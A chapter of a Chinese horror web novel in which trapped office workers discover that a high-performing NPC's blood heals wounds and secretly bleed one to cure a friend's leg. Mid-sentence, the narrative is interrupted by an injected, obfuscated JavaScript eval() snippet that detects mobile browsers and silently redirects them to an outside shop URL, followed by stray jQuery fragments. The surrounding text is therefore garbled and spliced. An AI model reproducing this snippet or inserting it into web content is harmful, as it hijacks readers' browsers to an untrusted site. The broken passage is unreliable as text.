秦臻愣了一下,终于露出点高兴的神色:“里面写了吗?绩效ABC代表什么?”
“只写了获得绩效A的员工可以评定为优秀员工,并与公司签订无固定期限劳动合同,不得被公司单方面解除劳动关系。”
“那拿到无固定期限劳动合同的人就不会被公司开除?是这个意思吗?”
秦臻毕竟没去正经公司上过班,对于无固定期限劳动合同没有具体概念。
陆闲无奈地笑了一声:“倒也不是,我昨天问过黎青仪了,只有她在正规公司上过班。她的公司是刚入职合同三年一签,三次以后就可以签无固定期限合同了,只要员工不提离职不犯大错,就可以一直待在公司,如果公司要开除无固定期限合同的员工,赔偿金会比有期限的员工高一些。”
说话间已经到了二楼,黎青仪一见到秦臻就扑上来,但也没敢抱住她。
“你没事吧,我听说你受伤了。”
“没事没事。”秦臻指指肩头,“只是这里有伤,这只胳膊暂时动不了了。”
黎青仪眼睛都红了,秦臻见不得女孩子哭,赶紧转移话题:“给你的,贴身收好,千万别弄丢了。”
秦臻把红纸包递给她,黎青仪翻来覆去看了几遍:“这是沈屹给的吗?”
“对,沈屹说这个能保平安,你一定要贴身收好。”
黎青仪立马郑重其事地放进有拉链的兜里。
楼下传来熟悉的脚步声,有人拐过楼梯口,是刘崇光。
他还是老样子,笑呵呵地哼着小调,端着个老式保温杯,一见到他们就笑。
秦臻一见他就想起昨天惊悚的画面,立马躲到其他人背后。
“快九点了,站这里干嘛,赶紧上去呀。”
他说话时还是那副慈祥表情,只是左边眼珠子往上看,右边眼珠子往左看。看样子昨天的伤害还是留下了真实痕迹。
直到他走远,秦臻才开始呼吸。
“行了,上去呗。”陆闲扶着谢文敬转身,黎青仪走在一边似乎有心事,脸色也不太好。
“怎么了?”
“我……”
黎青仪对上所有人看过来的视线,说话吞吞吐吐。
“我那天绩效被评了A,拿到了一张优秀员工奖状。”
“你昨天怎么没说?”陆闲拧起眉头。
“我本来想说的,你们说秦臻出事了,我就没提……”黎青仪快哭了,“这个奖状是不是有什么问题?”
秦臻也拿不准奖状有没有问题,但还是牵住黎青仪的手安抚她。
“现在没有任何线索证明奖状有问题,你先别自己吓自己。”她按着衣兜,“而且不是有这个吗,沈屹说能保平安,你就安下心,他从来不说大话的。”
听了这话,黎青仪的表情才稍微好看点。
三人上了四楼,陆闲偏头看了眼楼下。
“你刚才没说实话吧?”
秦臻抓着扶手,慢慢抬起腿放在台阶上,“嗯”了一声。
“这个空间的规矩太多了,与公司签订无固定期限合同不可能没有意义,肯定有指向,只是我们现在不知道。”
她翻出内兜里的红纸包:“这东西沈屹不让我打开,肯定也有隐情。”
她看着手里的红纸包,指尖在粘合处来回摩挲着。
“开我的吧。”陆闲从内兜里掏出来递给秦臻,“万一沈屹不是唬你,打开了真的会失效。”
见秦臻犹豫,他干脆主动撕开一条缝隙:“别犹豫了,我还能离了沈屹的道具就出事啊?”
秦臻来不及阻拦,只得嘴里“呸呸呸”。
她小心接过纸包彻底撕开,三个脑袋凑在一起都愣住了。
撕开的纸包里居然是一小撮头发,被暗红的液体糊成一团。
秦臻捧到鼻尖一闻,是血……
两人观察着她的神色,谢文敬斟酌着开口:“你哥的血和头发啊?”
他语气还有点嫌弃。
秦臻合拢掌心,又心疼又气,她把纸包尽量还原,塞给陆闲。
“我估计沈屹是怕我打开才那么说的,你还是收好吧。”
可能是看她表情太难看,陆闲连忙安慰:“这点血,沈屹那身体素质,肯定没事。”
秦臻回头指指自己肩膀的伤口比划着。
“这么大的洞,我一觉睡醒都没多痛了,沈屹那里又没止痛药。”秦臻试着活动胳膊,这才过去几个小时,手臂都能慢慢抬起来了。
不用问,秦臻都能猜到沈屹在自己昏睡时做了什么。
“那,我可以理解成沈屹的血有治愈效果吗?”谢文敬两眼放光,跃跃欲试。
秦臻哪里不知道他在想什么,警告地瞪他一眼:“也有可能是这里NPC的血液具有治愈效果。”
不过谢文敬的想法确实可以一试,她沉思两秒也看向陆闲。
“看我干嘛,我不知道啊。你俩想尝试就自己去。”
话虽这么说,但回到办公室以后,两人挑选起目标,陆闲还是积极参与话题。
“选个血条厚的,免得我们心里愧疚吧。”
谢文敬用眼神示意办公室一个又高又壮的哥们儿。
秦臻摇摇头:“万一他战斗力也高,我们根本按不住怎么办?咱们仨现在就老弱病残,别冒险。”
陆闲不赞同地“啧”了一声,但还是支持秦臻的观点:“选个好对付的吧,万一普通员工也能异化,我们岂不是没事找事?”
“我突然想到一点。”秦臻又补了一句,“沈屹情况比较特殊,咱们尽量减少变量,最好是找拿到绩效A的NPC。”
三人商量来商量去,最后终于敲定了六楼一个看起来不高不矮不胖不瘦的年轻人,那天会议上他也拿到了绩效A。
绑架的地点定在走廊尽头的杂物间里,这里不起眼,平时也没什么人会来。
也不知道是不是沈屹的纸包起了作用,这天都没什么人来打扰秦臻安排工作。
临近下班点,陆闲随意找个托辞就把人带去了杂物间,秦臻立马跟上。
“唔……”
隔着门板听到一声闷哼,秦臻盯着无人的走廊,闪身扶着谢文敬进了杂物间。
那人瘫软在陆闲怀抱里动弹不得,半张的嘴里是密密麻麻层峦叠嶂的倒刺。陆闲慢慢松开绞在对方脖子上的胳膊,冲秦臻点点头。
陆闲抓住那人的小臂,翻到外侧,一条青色的血管隐约浮在皮肤下面。
虽然知道对方只是NPC,但秦臻还是比划了好几下才真的割下去。
血顺着小臂淌下来,滴在提前摆好造型的谢文敬腿上。
可能是感觉到疼痛,男人皱着眉哼了几声,但还是没醒。
等鲜血覆盖了谢文敬双腿大部分面积,秦臻立马把提前准备好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757775|204100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的干净抹布压在出血点上。
过了大概七八分钟,秦臻才试探着把抹布解开一条缝看了一眼:“差不多了。”
“几点了?”
谢文敬看眼手环:“还有两分钟。”
时间一跳转18:00,秦臻掀开抹布一看,果然皮肤上毫无痕迹,就连毛巾上的血液也消失了。
陆闲掐着NPC的人中,狠狠用力把人掐醒了。
他皱着眉睁大眼,无措地看向众人,又慌乱挣扎着想要坐起来。
“没事吧?你刚才突然晕倒了,是不是低血糖?”
三人满脸关切,NPC懵懵地看了眼四周,在陆闲的搀扶下站起身。
“呃,谢谢啊。”
他扶着墙站稳,神情茫然地走出杂物间。
“如何,你的腿怎么样?”
秦臻低下头看着染血的纱布,也看不出个所以然来。
谢文敬试探着扭动脚踝。
“诶,好像真的好多了?”他语气惊喜,但脸上又有些不确定,“会不会是我心理作用啊?”
秦臻干脆拆开一圈纱布,鲜红血液下的皮肤确实已经开始愈合。
“砰”!
有人重重打开门,是负责锁门的男子,他挺着大肚皮喘着粗气:“你们在这里干什么!下班了还不快滚!”
三人赶紧出了屋子,陆闲都没顾上搀扶谢文敬。等三人跑出走廊他们才反应过来谢文敬真好了。
谢文敬低头看着自己小腿,上面还裹着沾满血液的纱布。他原地蹦了两下,脸上难以置信的表情慢慢变成狂喜。
“我靠,真好了。”他一拳锤在陆闲肩上,“NPC的血液这么牛?”
陆闲没好气地拍开他手:“看见了看见了,两只眼睛都看见了。赶紧下去把这事儿告诉黎青仪。”
走到二楼拐角,黎青仪还站在老位置等他们。她看见谢文敬自己走下来,愣了一下,随即红了眼眶:“你的腿好了?”
“好了,活蹦乱跳的。”谢文敬嘚瑟得不行,还转了一圈给她看,“优秀员工NPC的血液居然有愈合作用。”
陆闲把刚才的事情讲了一遍,黎青仪恍然大悟,但还是忍不住吐槽:“你们胆子也太大了。”
谢文敬伤好了,大家心情都轻松许多,四人慢悠悠往回走,谢文敬在和陆闲抱怨听到上班两个字都想吐。
刚拐过楼梯口,迎面撞上一人,居然是冯作元。
自从陆闲说过他有古怪,让秦臻小心以后,他们再没相遇过。此刻突然见面,秦臻竟然不知道该不该打招呼。
反而是一向对他们冷漠的冯作元主动凑了过来,脸上的笑意压都压不住。
“嘿,好久不见。”他举起还缠着纱布的手挥了挥,语气得意极了,“我跟你们讲,我拿到优秀员工了!!”
所有人都互看了彼此一眼,没有接话。
冯作元沉浸在喜悦中,完全没注意到气氛的古怪,自顾自地往下说:“嗨,组长刚开始还给我讲的竞争有多激烈,搞得我心里压力好大。结果根本没有现实生活难啊!”
他从兜里掏出一个暗红色信封,笑得眼睛都快没了:“绩效A,还有奖金!”
众人沉默着,还是陆闲先开口了:“那,恭喜你。”
冯作元这会儿才注意到大家表情古怪,他有些不高兴:“你们这是啥意思,见不得别人好啊??”